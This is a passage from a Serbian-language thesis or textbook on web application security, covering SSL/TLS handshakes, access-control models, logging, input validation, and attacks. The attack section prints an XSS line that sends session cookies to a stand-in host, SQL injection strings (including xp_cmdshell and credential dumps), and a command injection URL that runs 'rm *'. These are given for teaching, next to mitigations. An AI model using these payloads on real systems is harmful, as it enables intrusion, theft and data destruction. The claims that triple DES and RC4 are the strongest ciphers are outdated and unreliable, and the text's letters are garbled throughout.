Task Force) je preuzeo odgovornost za razvoj i unapreenje SSL-a i preimenovao ga uTLS (Transport Layer Security). Prva verzija TLS-a, verzija 3.1, sadri samo neznatneizmene u odnosu na originalni SSL. SSL prua tri bezbednosne usluge pri transportupodataka. To su:

autentifikacija,poverljivost,integritet podataka.

16


17/51

Kao to se vidi na slici socket nivo je logiki nivo izmeu transportnog iaplikacionog nivoa u TCP/IP steku. Dakle, SSL radi na transportnom nivou neposrednoiznad TCP. To znai da ga mogu koristiti svi protokoli aplikacionog nivoa koji zatransport koriste TCP, a to su na primer HTTP, FTP, SMTP, POP3, IMAP, XMP RPC,SOAP i drugi.

Nasuprot trvenju koje se iznosi u mnogim marketingkim kampanjama, sam SSLWeb aplikaciju ne ini bezbednom. Fraza sajt je 100% bezbedan, koristimo dovodi uzabludu. SSL prua samo gore navadene usluge. SSL/TLS ne prua nikakvu dodatnu

bezbednost nakon to podaci napuste IP stek na bilo kom kraju konekcije. Nedostatke prikorienju SSL-a za sesijski transport nemogue je otkloniti ili ublaiti upotrebom SSL-a.SSL koristi i javne kljueve i simetrinu kriptografiju. esto se moe uti pojam SSLsetifikata. SSL sertifikat je u stvari X.509 sertifikat. Sertifikat je javni klju kojeg jepotpisao neki drugi poverljivi korisnik (sa dodatnim informacijama radi dokaza njegovevalidnosti).

Zbog jednostavnosti, oba protokola SSL i TLS, emo u daljem tekstu oznaavatikao SSL.

3.3.1.Kako SSL i TLS rade?SSL ima dva osnovna naina rada. Prvi je kada se uspostavi SSL tunel i jedino je

server autentifikovan, i drugi nain kada su i server i klijent autentifikovani. U obasluaja SSL se uspostavlja pre nego to pone HTTP transkacija. SSL koristi kombinacijuifrovanja javnim kljuem, simetrinog ifrovaja, kao i digitalnih sertifikata.

3.3.2.SSL pregovaranje sa autentifikacijom samo servera

SSL pregovaranje sa autentifikacijom samo servera je postupak od devet koraka.1.Prvi korak u procesu je kada klijent alje serveru Client Hello poruku. Ova

pozdravna poruka sadri verziju SSL-a koju klijent podrava.2.Server odgovara na pozdravnu poruku sa jednom od svojih poruka koja odreuje

verziju SSL protokola, ifru i duinu kljua koji e se koristiti prilikomkonverzacije, na osnovu ponuenih vrednosti u okviru klijentske pozdravneporuke.

3.Server alje digitalni sertifikat klijentu na uvid. Veina modernih browseraautomatski proveravaju sertifikat (u zavisnosti od konfiguracije) i upozoravajukorisnika ako isti nije validan.

HTTPFTPSMTPSSL ili TSLTCPIP

Mesto SSL-a u okviru TCP/IP protokol steka

17


18/51

4.Server alje Server Done poruku koja klijenta obavetava da je server zavriopoetni deo inicijalne sekvence.

5.Klijent generie simetrian klju i ifruje ga koristei serverov javni klju.6.Klijent alje Cipher Specporuku koja serveru govori da sva budua komunikacija

treba da se vri sa novim kljuem.

7.Klijent sada alje poruku o zavretku koristei novi klju, pri emu utvruje da liserver moe takvu poruku da dekodira, te da li je pregovaranje bilo uspeno.8.Server alje Change Cipher Spec poruku koja klijentu govori da sva budua

komunikacija treba da bude kriptovana.9.Server alje svoju Finished poruku kriptovanu sa novim kljuem. Ako klijent

moe da proita ovakvu poruku, znai da je pregovaranje uspeno zavreno.

3.3.3.SSL sa klijentskom i serverskom autentifikacijom

SSL pregovaranje sa obostranom autentifikacijom (sa klijentske i serverske strane) jeproces od dvanaest koraka. Dodatni koraci su:

4) Server alje zahtev za sertifikat nakon slanja svog sertifikata.6) Klijent dostavlja svoj sertifikat8) Klijent alje poruku o proverenom sertifikatu u koju kriptuje deo poznatog tekstakoristei svoj tajni klju. Server koristi klijentski sertifikat za dekriptovanje, i naosnovu toga ustanovljava da klijent ima ispravan tajni klju.

Centralno pitanje svakog postupka za ifrovanje je mogunost njegovograzbijanja, odnosno njegova snaga. Snaga postupka zavisi od primenjenog algoritma iduine kljua. Najjai trenutno dostupan algoritam koji se koristi u okviru SSL-a je triple

DES sa duinom kljua od 128 bita. Drugi takoe vrlo snaan i zbog svoje brzine najvierasprostranjen protokol je RC4 koji ima duinu kljua od 128 bita.

18


19/51

4.KONTROLA PRISTUPA I AUTORIZACIJA

Mehanizmi kontrole pristupa su neophodan i kljuni element pri projektovanjubezbednosti svake Web aplikacije. Uopteno gledano, Web aplikacija bi trebalo da titifront-end i back-endpodatke, kao i sistemske resurse ograniavanjem korisnikovih

radnji, ograniavanjem pristupa resursima i ograniavanjem funkcija koje korisnik vrinad podacima. U idealnom sluaju, kontrola pristupa bi trebalo da zatiti podatke odneautorizovanog gledanja, menjanja i kopiranja.

Pojmovi autorizacije i kontrole pristupa esto se grekom zamenjuju.Autorizacijapodrazumeva proveru da se vidi da li korisnik ima odgovarajuu dozvolu da pristupiodreenom fajlu ili da izvri odreenu akciju, pod pretpostavkom da se prethodnouspeno autentifikovao. Autorizacija zavisi od specifinih pravila liste kontrole pristupakoju unapred odreuju administratori Web aplikacije ili vlasnici podataka. Tipina provera autorizacije ukljuuje ispitivanje lanstva u odreenoj grupi korisnika,posedovanje odgovarajueg odobrenja, ili prisustvo korisnika na listi odobrenih korisnika

resursa. Svaki mehanizam kontrole pristupa koji se koristi za autorizaciju, neposrednozavisi od efikasnih i zatienih kontrola autentifikacije. Kontrola pristupa odnosi sesveobuhvatniji nain kontrolisanja pristupa Web resursima, ukljuujui ogranienjazasnovana na faktorima kao to su doba dana, IP adresa HTTP klijent browsera, domenHTTP klijent browsera, tip enkripcije koju HTTP klijent moe da podri, brojautetifikacija datog korisnika tog dana, posedovanje odreenog broja hardverskih/softverskih tokena, ili neka izvedena promenjiva koja se moe sa lakoom obraditi.

U sferi bezbednosti informacionih sistema postoji obilje prihvaenih modelakontrole pristupa. Mnogi od njih sadre aspekte koji ih ine primenjivim u oblasti Webaplikacija. Uspean mehanizam kontrole pristupa predstavljae kombinaciju sledeih

modela i bie upotrebljiv ne samo za upravljanje korisnikim nalozima, ve i za razvoj iintegraciju odreenih funkcija aplikacije.

4.1.Diskretna kontrola pristupa

Diskretna kontrola pristupa (DAC) podrazumeva ograniavanje pristupainformacijama na osnovu identiteta korisnika i pripadnosti odreenim grupama. Odluka opristupu je zasnovana na autorizaciji datoj korisniku na osnovu njegovih akreditiva(username, lozinka, hardverski/softverski token itd.) u trenutku autentifikacije. U veiniDAC modela, vlasnik informacija i resursa je u mogunosti da menja svoje dozvole posvom nahoenju. Loa strana DAC-a je to to administrator nije u mogunosti dacentralno menja dozvole nad fajlovima/podacima smetenim na Web serveru. DACmodel kontrole pristupa esto ispoljava jednu ili vie od sledeih osobina:

-vlasnici podataka mogu meusobno da razmenjuju vlasnitvo nad podacima saostalim korisnicima,

-vlasnici podataka mogu da odrede vrstu pristupa datu ostalim korisnicima (read,write, copy, itd.),

-viestruko neuspeno ponavljanje pokuaja autorizacije pristupa istom resursu iliobjektu generie alarm i/ili ograniava korisnikov pristup,

19


20/51

-specijalni add-on ili plug-in softver potreban HTTP klijentu da bi se korisnikuonemoguilo neselektivno kopiranje (copy i paste),

-korisnici koji nemaju pristup podacima ne bi trebalo da imaju mogunost da menjajuatribute tih podataka (veliinu fajla, ime fajla, putanju direktorijuma itd.)

-pristup informacijama je odreen na osnovu liste kontrole pristupa koja se oslanja na

idedntifikatore korisnika i na pripadanje korisnika odreenim grupama.

4.2.Obavezna (Mandatory) kontrola pristupa

Kod obavezne kontrole pristupa (MAC) sprovoenje bezbednosnih normi nezavisi od samog korisnika Web aplikacije. MAC obezbeuje informacije dodeljivanjemoznake osetljivosti informacijama i poreenjem nivoa osetljivosti koji je odobrenkorisniku. Uopteno govorei, MAC mehanizmi kontrole pristupa su sigurniji od ostalihmehanizama uz ustupak na raun performansi i udobnosti korisnika pri radu. MACmehanizmi dodeljuju sigurnosni nivo svim informacijama, sigurnosno odobrenje svakomkorisniku, i obebzbeuju da svaki korisnik ima pristup samo onim informacijama za koje

ima odobrenje. MAC je pogodan za upotrebu u sistemima izuzetno velike sigurnostiukljuujui vojne aplikacije sa vie nivoa sigurnosti. MAC model kontrole pristupa estoispoljava sledee osobine:

-iskljuivo administratori, a ne i vlasnici podataka, mogu da menjaju sigurnosnuoznaku resursa,

-svim podacima je dodeljen sigurnosni nivo,-svi korisnici mogu da itaju podatke nie poverljivosti od one to je korisnicima

dodeljena ("poverljivi" korisnik moe da ita dokumente koji nisu poverljivi),-svi korisnici mogu da piu dokumente vee poverljivosti nego to im je dodeljena

("poverljivi" korisnik moe da proglasi informaciju strogo poverljivom),-svim korisnicima je dozvoljeno itanje/pisanje nad dokumentima iste poverljivosti

koja im je dodeljena ("poverljivi" korisnik ima itaj/pii pristup samo nadpoverljivim dokumentom),-pristup je autorizovan ili ogranien objektima u zavisnosti od doba dana u skladu sa

sigurnosnim oznakama resursa i akreditivima korisnika,-pristup je autorizovan ili ogranien objektima u zavisnosti od sigurnosnih

karakterstika HTTP klijenta (npr. SSL duina bita, informacije o verziji, IP adresaili domen, itd.).

4.3.Kontrola pristupa zasnovana na ulogama (RBAC)

Kod kontrole pristupa zasnovane na ulogama odluke su zasnovane na

korisnikovim individualnim ulogama i odgovornostima unutar organizacije ili korisnikebaze. Proces definisanja uloga zasnovan je na analiziranju fundamentalnih ciljeva istrukture organizacije i obino je povezano sa bezbednosnim normama. Na primer, uzdravstvenim organizacijama uloge koje imaju korisnici mogu biti doktor, sestra, pacijentitd. Oigledno, ovi korisnici zahtevaju razliite nivoe pristupa pri vrenju svojih funkcija,ali i tipovi Web transakcija kao i njihov dozvoljeni sadraj u varira u zavisnosti odbezbednosnih normi i relevantnih pravila.

20


21/51

RBAC metod kontrole pristupa treba da administatorima Web aplikacija damogunost odreivanja ko moe da vri koju akciju, kada, odakle, kojim redosledom i pod kojim relacionim okolnostima. RBAC model kontrole pristupa pokazuje sledeeosobine:

-uloge se dodeljuju u zavisnosti od organizacione strukture sa naglaskom na

organizacione bezbednosne norme,-uloge dodeljuje administrator na osnovu relativnih odnosa unutar organizacije ilikorisnike baze,

-svaka uloga oznaava profil koji ukljuuje sve autorizovane komande, transakcije,dozvoljen pristup informacijama, itd.

-ulogama su dodeljena odobrenja po principu najmanje privilegije,-uloge se aktiviraju statiki i dinamiki u skladu sa odgovaarajuim relacionim

trigerima (upit za help, bezbednosni alarm, iniciranje novog projekta, itd.),-ulogama centralno upravlja administrator ili voa projekta.

21


22/51

5.PRAENJE RADA - Event Logging

Logging je neophodan za dobijanje kljunih informacija o bezbednosti, koje seodnose na Web aplikaciju i njene pratee procese. Stvaranje detaljnih log zapisa opristupu i transakcijama je vano iz vie razloga:

-log zapisi su esto jedini zapis koji ukazuje da postoji sumnjivo ponaanje, i u nekimsluajevima se mogu u realnom vremenu diretko unositi u sisteme zadeteketovanje neovlaenog upada,

-log zapisi omoguuju uvoenje individulne odgovornosti praenjem korisnikovihakcija,

-log zapisi su korisni prilikom rekonstrukcije dogaaja nakon pojave problema,vezanih za bezbednost ili problema uopte. Rekonstrukcija dogaaja dajebezbednosnom administratoru potpun uvid u sve aktivnosti uljeza.

-log zapisi su neretko opotrebljavaju u sudskim procesima kao dokaz zloupotrebe. Uovom sluaju obrada log zapisa je od klujne vanosti.

Nedostatak ili neadekvatna upotreba mehanizama za stvaranje log zapisaumanjuje mogunost otkrivanja neautorizovanih pokuaja pristupa i ne prua informacijukoji su od tih pokuaja bili uspeni.

5.1.ta uneti u log zapis

Uopteno govorei, stvaranje log zapisa treba da obuhvati infomacije korisne zaotklanjanje greaka, kao to su vreme dogaaja, iniciranje, poreklo, kao i detaljan opisprocesa. Preporuljivo je beleiti sledee tipove dogaaja u aplikacijama:

-itanje podataka,-upis podataka,-izmena bilo kakvih karakteristika podataka, treba da bude obuvhaena logom,

ukljuujui dozvole ili oznake kontrole pristupa, lokacija u okviru baza podatakaili vlasnitvo nad podacima,

-u sluaju brisanja bilo kakih podataka treba napraviti log zapis,-za mrenu komunikaciju treba napraviti log u svakoj taki komunikacije (bind,

connect, accept, itd.),-sve dogaaje vezane za autentifikaciju (logovanje, odjavljivanje, neuspelo logovanje,

itd.),-svi neautorizovani pokuaji treba sadre vreme, informaciju o uspenosti, resurse ili

funkcije koje su bile autorizovane kao i identifikaciju korisnika koji je pokuaoautorizaciju,

-sve administativne funkcije (rad sa korisnikim nalozima, razgledanje korisnikihpodataka, omoguavanje i onemoguavanje logovanja, itd.)

-raznovrsne informacije vezane za otklanjanje greaka.

22


23/51

5.2.Obrada log zapisa

Efikasna obrada i skaditenje log zapisa je vana za pravilno korienjemogunosti Web servera i aplikacija koje se odnose na logging. Nepravilna obrada iskladitenje informacija od strane mehanizama za loggingmoe dovesti do gubitka ovih

podataka i njihove neupotrebljivosti za dalje naknadne analize ili ih uiniti pravnoneupotrebljivim. U idealnom sluaju log zapise bi trebalo prikupljati i organizovati naposebno dodeljenom logginghostu.Mrene konekcije, kao i sadraj log zapisa trebalo bienkriptovati tako da se zatiti poverljivost i integritet podataka koliko je to mogue.

Atributi log zapisa treba da budu takvi da je mogue samo dodavanje novihinformacija (stari unosi ne mogu se prepravljati ili brisati). U skladu sa prethodnim, logzapise bi trebalo skladititi na ureajima koji omoguuju jedan upis i vie isitavanja, kaoto je CD-R.

Kopije log zapisa bi trebalo praviti u pravilnim vremenskim intervalima u

zavisnosti od koliine podataka u logu i same njegove veliina (dnevno, nedeljno,meseno itd). Radi lakeg indeksiranja potrebno je usvojiti konvenciju u nazivima logzapisa. Log fajlove bi trebalo kopirati i skladititi na trajne medijume i uvati u skladu saoptim pravilima vae organizacije o bekapovanju. Log fajlove i medijume na kojima seoni nalaze treba brisati i unitavati u skladu sa politikom vae organizacije za odlaganje iunitavanje medija bezbednosno osetljivog sadraja. Potrebno je praviti izvetajeukljuujui izvetaje o grekama i o detektovanim anomalijama.

Log zapisi se mogu unositi u realnom vremenu u sistem za detekciju upada, kao iu alatke za nadzor sistema i performansi. Sve komponente logovanja treba da budusinhronizovane sa vremenskim serverom , tako da svi log zapisi mogu biti obraeni bez

greaka usled kanjenja. Ovaj vremenski server treba da bude dodatno zatien i ne trebada prua nikakve dodatne usluge unutar mree.

23


24/51

6.VALIDACIJA PODATAKA

Najvei deo napada na sistem se moe spreiti, ili se opasnost od njihove pojavemoe znaajno smanjiti odgovarajuom validacijom podataka.Validacija podataka jejedan od kljunih aspekata pri projektovanju Web aplikacije. Kada govorima o validaciji

podataka mislimo kako na unos podataka u aplikaciju, tako i na skidanje podataka saaplikacije.

6.1.Strategije validacije

Strategija validacije podataka je usko povezana sa arhitekturom same aplikacije.Ako je aplikacija ve u postupku izrade, projektovanje optimalne arhitekture bie znatnotee nego u sluaju kada je aplikacija tek u fazi projektovanja. U sluaju da sistemzahteva tipian sistematian pristup u pruanju osnovnih usluga, tada jedna odkomponenti moe da filtrira sve ulaze i izlaze, i na taj nain optimizuje pravila i smanjitrud.

Postoje tri osnovna modela koja se razmatraju prilikom projektovanja strategijevalidacije podataka:

-prihvatanje samo onih podataka za koje se zna da su validni,-odbacivanje podataka za koje se zna da nisu validni,-saniraranje podataka koji nisu validni.

Treba istai da je prva strategija daleko najbolja. Moramo priznati da ona nijeuvek izvodljiva zbog finansijskih ili tehnikih razloga, tako da emo opisati i druge dvestrategije.

Sve tri metode treba da provere:-tip podataka,-sintaksu,-duinu.

Provera tipa podataka je od izuzetne vanosti. Na primer, aplikacija treba daproveri da li su poslati brojni podaci a ne stringovi.

6.1.1.Prihvati samo poznate validne podatke

Kao to je reeno, ovo je najpoeljniji nain validacije podataka. Aplikacijaprihvata samo oekivani unos, za koji se zna da je bezbedan. Na primer, pretpostavimosistem za postavljanje uzima username kao ulaz. Validno korisniko ime se moedefinisati kao skup ASCII karaktera A-Z i 0-9. Aplikacija treba da proveri da li se ulaznistring sadri od karaktera A-Z i 0-9 i da li njegova duina ne prelazi dozvoljenu.

24


25/51

6.1.2.Odbaci podatke za koje se zna da nisu validniOva strategija je zasnovana na injenici da je aplikacija upoznata sa specifinim

malicioznim paketima. Iako je tano da ovakva strategija moe da ogranii otkrivanje,veoma je teko odravati aurnom bazu podataka koja sadri podatke o karakteristikamanapada na Web aplikacije.

6.1.3.Saniraj sve podatkePokuaj da se loi podaci uine bezopasnim je efikasan kao pomona metoda

odbrane, posebno kada je kombinovana sa obacivanjem podataka koji nisu validni.Meutim, kako je opisano u prethodnom paragrafu, ovakav nain je izuzetno teak i netreba ga koristiti kao osnovno sredstvo zatite.

6.2.Nikada se ne oslanjati na validaciju podataka sa strane klijentaValidacija sa strane klijenta uvek moe biti premoena. Validacija svih podataka

mora se obavljati na poverljivom serveru ili pod kontrolom aplikacije. U sluajuvalidacije podataka sa strane klijenta, napada moe da prati povratne vrednosti, te da ihmenja po svojoj volji. Ovo izgleda iznenaujue jednostavno, pa ipak, mnogo sajtova jouvek vri validaciju korisnika, ukljuujui logovanje, koristei samo kod sa straneklijenta, kao to je JavaScript. Validacija sa strane klijenta, sa strane jednostavnosti ilakoe upotrebe, je prihvatljiva, ali se ne moe smatrati pravim postupkom validacije.Svaka validacija trebalo bi da se odvija iskljuivo na strani servera, a da se na straniklijenta izvrava samo povrna kontrola.

25


26/51

7.BEZBEDNOSNI PROBLEMI PRI RADU WEBAPLIKACIJA

7.1.Napadi na korisnike

7.1.1.Cross-site scripting

Cross-site scripting je privukao veliku panju javnosti. Ime potie od CERTsaveta, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client WebRequests (http://www.cert.org/advisories/CA-2000-02.html). Napadi se uvek odnose nakorisnike sistema, a nikada na sam sistem. Naravno, ako je korisnik administrator sistemato je sasvim druga pria. Sam postupak napada bie predstavljen preko sledeeg primera.

Korisnik se prevarom navodi da napravi specifian i paljivo projektovan HTTPzahtev. Napada je prethodno otkrio aplikaciju koja ne filtrira ulaz, te e vratiti korisniku

traenu stranicu sa dodatim malicioznim kodom koji je dodat sa zahtevom. Kada Webserver primi zahtev za stranicom on alje traenu stranicu zajedno sa delom koda koji jetraen. Kada korisnikov browser primi novu stranicu, maliciozni kod se raspakuje iizvrava.

Moderni skript jezici, koji se izvravaju sa klijentske strane, vie ne vre samoformatiranje strana, nego su sposobni da izvravaju vei broj akcija. Klijenti prevarommogu biti uvueni u izvravanje veeg broja razliitih funkcija to moe biti opasno. Akonapada odabere Web aplikaciju za koju je korisnik autentifikovan, skript moe da vrifunkcije u ime korisnika.

Napad se odvija na taj nain da napada, kroz propuste u samom skriptu, prekoWeb servera, korisniku (koji je meta napada) poalje stranicu koju je korisnik i zahtevao,meutim, koja je ujedno i zaraena malicioznim kodom. Maliciozni kod se tada pokreeuz odobrenje legalnog skripta poslatog sa legitimnog Web servera.

Kroz sledei primer bie prikazani mogui propusti u PHP aplikacijama kojidozvoljavaju CSS napade. Pretpostavka je da je korisnik proao fazu autentifikacije isesija je zapoeta, tako da korisnik poseduje validni sesijski token. Korisnik upotrebljavaWeb aplikaciju namenjenu pregledanju elektronske pote. Ukoliko se prilikom ispisanaslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogunost CSSnapada. Deo koda namenjen za ispis je:

U ovom sluaju napada moe naslovu poruke elektronske pote pridruitiJavaScriptkod koji je dizajniran da otui korisnikov sesijski token. Kada korisnik zatraistranicu koja ispisuje poruke elektronske pote, JavaScript kod e se automatskipokrenuti i preusmeriti korisnika na specificiranu URL adresu, zajedno sa sesijskim

26


27/51

tokenom. Napada mora proveriti zapise koji su pristigli na ovakav naini i moe preuzetikorisniku sesiju. JavaScript kod koji bi omoguio opisan nain napada mogao biizgledati ovako:

self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(document.

cookie)

Mitigation Techniques (tehnike ublaavanja)

Spreavanje cross site scriptinga je zahtevan zadatak posebno za irokodistribuirane Web aplikacije. Sa stanovita arhitekture, ako svi zahtevi dolaze nacentralnu lokaciju i odlaze sa centralne lokacije, problem je lake reiti optomkomponentom.

Ako prihvatite preporuenu strategiju validacije, tj. prihvata se samo oekivanulaz, problem se znatno smanjuje (osim u sluaju kada je potrebno da HTML bude ulaz).Moramo naglasiti da je ova strategija daleko najbolja.

U PHP-u, ovakva ranjivost bi se mogla ispraviti upotrebom htmlspecialchars()funkcije, koja konvertuje specijalne karaktere u HTML entitete. U ovom konkretnomprimeru, bie konvertovani karakteri < i > u njihove odgovarajue entitete: &lt i &gt.Prilikom uitavanja Web stranice nita se nee dogoditi jer e ovi entiteti korisnikovomWeb browseru ukazivati na obian tekst a ne specijalne karaktere.

http://www.cert.org/tech_tips/malicious_code_mitigation.html

27
http://www.cert.org/tech_tips/malicious_code_mitigation.htmlhttp://www.cert.org/tech_tips/malicious_code_mitigation.html


28/51

7.2.Napadi na sistem

7.2.1.Direktne SQL naredbe

Kod nekih aplikacija se ne vri validacija korisnikog unosa, to znai da jezlonamernom korisniku omoguen direktan pristup bazi podataka. Ovakav napad, poznatkao SQL injection, je iznenaujue jednostavan. Pretpostavimo da Web aplikacija doputakorisniku izmenu lozinke, to je sluaj sa veinom Web aplikacija. Korisnik se loguje ikree kroz stranicu sa opcijama za korisnki nalog, odabira promenu lozinke, zatim unosistaru i novu lozinku, dva puta zbog sigurnosti . Korisniku je naizgled ovo sasvim jasanproces. Kada korisnik unese staru i dva puta novu lozinku u Web obrazac, browserupuuje HTTP zahtev Web aplikaciji i alje joj podatke. Zbog zatite podataka u tranzitu,ovo bi trebalo da se vri preko SSL-a. Tipian kod za autentifikaciju bi izgledao ovako:

$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";

$res = $conn->Execute($sql);if ($res->RecordCount()==0)$boolAuthenticated=false;

else$boolAuthenticated=true;

Korisnik je preko forme poslao serveru svoje korisniko ime i lozinku koji seunose u SQL upit i prosleuju bazi podataka. U bazi podataka se proverava da li postojislog koji sadri zadate akreditive. U sluaju da postoji, korisnik je proao autentifikaciju.

Ukoliko je korisnik u formu za autentifikaciju uneo sledei kod:

Korisniko ime: ' OR '1'='1

Lozinka: ' OR '1'='1

Vrednost promenljive $sqle biti:

$sql="SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR'1'='1'";

to znai da e aplikacija smatrati korisnika autentifikovanim jer je uslov '1'='1'uvek ispunjen.

Posledice su razarajue. Napada je u mogunosti da menja administratorskelozinke po svom nahoenju, onemoguavajui pristup pravim vlasnicima sistema i

otvarajui sebi neogranien pristup. Loe projektovana Web aplikacija omoguavahakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadraj na slubenimsistemima. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita naprvobitni upit bazi podataka. SQL injection moe da se upotrebi i za:

-izmenu SQL vrednosti,-proirivanje SQL izraza,-dodavanje funkcija poziva i procedura za skladitenje postojeim SQL naredbama,-modifikacija izlaznih podataka.

28


29/51

Izmena SQL vrednosti:UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

Maliciozni HTTP zahtev:http://www.none.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--%

Proirivanje SQL naredbi:SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:http://www.none.to/script?0';insert+into+pg_shadow+usename+values+('hoschi')

Dodavanje funkcija poziva i procedura za skladitenje postojeim SQL naredbamaSELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)

Modifikacija izlaznih podataka:SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size =

Maliciozni HTTP zahtev:http://www.none.to/script?size=0'+union+select+'1','1','1',concat(uname||'-'||passwd)+as+i_name+'1'+'

Tehnike ublaavanja

Spreavanje SQL injection-a je zahtevan zadatak posebno za velike Web sisteme,sastavljene iz vie aplikacija. Filtriranje SQL naredbi neposredno pre izvravanjasmanjuje rizik od pogrenog filtriranja. Primena preporuene strategije za validacijuulaznih podataka znaajno smanjuje problem, meutim ovakav pristup ne moe dazaustavi sve SQL injection napade. Pored toga mogu se javiti tekoe pri implementacijiu sluaju kada algoritam filtriranja treba da odlui da li dotini podaci treba da postanudeo upita ili ne, a potrebno je da algoritam prepozna na koju bazu podataka se takav upitodnosi. Na primer, korisnik koji u obrazac unese prezime ONeil ujedno unosi i

specijalan metakarakter (). Unos ovakvog karaktera mora biti dozvoljen poto je tosastavni deo imena. Meutim, ne moe se dozvoliti da ovakav karakter postane deo upitaza bazu podataka, te njegovo izbegavanje moe biti neophodno. Razliite baze podatakazahtevaju da se razliiti karakteri izbegavaju na razne naine, te je potrebno za svakubazu poznavati karaktere koje je potrebno sanirati.

Korisni linkovi:

29
http://www.none.to/script?pwd=ngomo&uid=1%27+or+uid+like%27%25admin%25%27;--%25http://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;EXEC+master..xp_cmdshell(cmd.exe+/chttp://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?pwd=ngomo&uid=1%27+or+uid+like%27%25admin%25%27;--%25http://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;insert+into+pg_shadow+usename+values+(%27hoschihttp://www.none.to/script?0%27;EXEC+master..xp_cmdshell(cmd.exe+/chttp://www.none.to/script?0%27;EXEC+master..xp_cmdshell(cmd.exe+/chttp://www.none.to/script?0%27;EXEC+master..xp_cmdshell(cmd.exe+/chttp://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271http://www.none.to/script?size=0%27+union+select+%271%27,%271%27,%271%27,concat(uname||%27-%27||passwd)+as+i_name+%271


30/51

http://www.sqlsecurity.com/faq-inj.asphttp://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdfhttp://www.nextgenss.com/papers/advanced_sql_injection.pdfhttp://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

7.2.2.Direktne OS naredbe

Skoro svi programski jezici doputaju upotrebu tzv. sistemskih naredbi, pa i kodmnogih aplikacija sree se ovakva funkcionalnost. Sistemski interfejs u programskom iskript jeziku preputa unos (naredbe) samom operativnom sistemu. Operativni sistemizvrava dati unos i vraa odgovarajui izlaz na stdout zajedno sa razliitim povratnimkodovima kao to su uspeno, neuspeno, itd.

Sistemske naredbe mogu da budu veoma ugodna alatka za rad, koje se uz malotruda mogu integrisati u aplikaciju. Najea primena ovih naredbi u Web aplikacijama je manipulacija fajlovima (uklanjanje, kopiranje), slanje email-ova i pozivanje alatki

operativnog sistema u cilju razliitih izmena na ulazu i izlazu (filtriranje) aplikacija.

Izvravanje spoljnjih programa sa imenima ili argumentima specificiranim odstrane korisnika je najbolja ilustracija direktne tete koju neovlaeni korisnik moeizazvati pozivom direktnih OS naredbi. Funkcije koje se koriste u PHP skript jezikuprilikom poziva spoljanjih programa su sledee:

exec() - izvrava naredbu u argumentu i vraa zadnju liniju izlaza programa,passthru() - izvrava naredbu u argumentu i vraa sav generisani izlaz programa

direktno u udaljeni Web browser,system() - kao i passthru (), ali ne podrava binarne podatke,popen() - izvrava naredbu u argumentu.

Nekad je poziv spoljanjih programa neophodan, meutim ove funkcije predstavljajuvrlo visok bezbednosni rizik u kombinaciji s korisnikim unosom. U uputstvima za PHPjezik, koje se odnose na ove funkcije, stoji upozorenje da ukoliko se funkcijama predaju podaci uneseni od strane korisnika, potrebno je koristiti escapeshellarg() iliescapeshellcmd() funkcije.

Poziv funkcije system($unos_korisnika) je nesiguran jer dozvoljava korisniku daizvrava proizvoljne naredbe na Web serveru. Dalje, poziv funkcije poput:

exec ('program'` , $arg_korisnika);

dozvoljava korisniku upotrebu znakova koji imaju specijalno znaenje. Ovakvipozivi su vrlo opasni jer PHP uvek prosleuje ovakve nizove direktno na izvravanje.

U sledeem primeru prikazano je nepravilno korienjepopen() funkcije:

30


31/51

Korisnik moe kontrolisati sadraj promenljive $to kroz sledei upit:

http://www.primer.com/posalji.php?to=korisnik%40nesiguran.com+%3C+% 2Fpasswd%3B+rm+%2A

to rezultuje pokretanje sledee naredbe:/usr/sbin/sendmail -i [email protected] /etc/passwd; rm *

Kreativniji napadai mogu ak napisati i virus, pa ga na ovaj nain ubaciti u sistem.Reenje ovog problema je paljivo filtriranje korisnikog unosa pre predavanja kodainterpreteru. Upravo zato je neophodno koritenje escapeshellarg() i escapeshellcmd()funkcija. Konkretno reenje prethodnog primera bilo bi:

7.2.3.Otkrivanje putanje dokumenta

Mnoge Web aplikacije koriste sistemske fajlove Web servera da bi privremenoi/ili trajno skladitile informacije. WWW-ROOT je tipian virtualni direktorijum u Webserveru koji je dostupan HTTP klijentu. Web aplikacije mogu da skladite podatke u i/ilivan WWW-ROOTdirektorijuma u za to predvienim lokacijama.

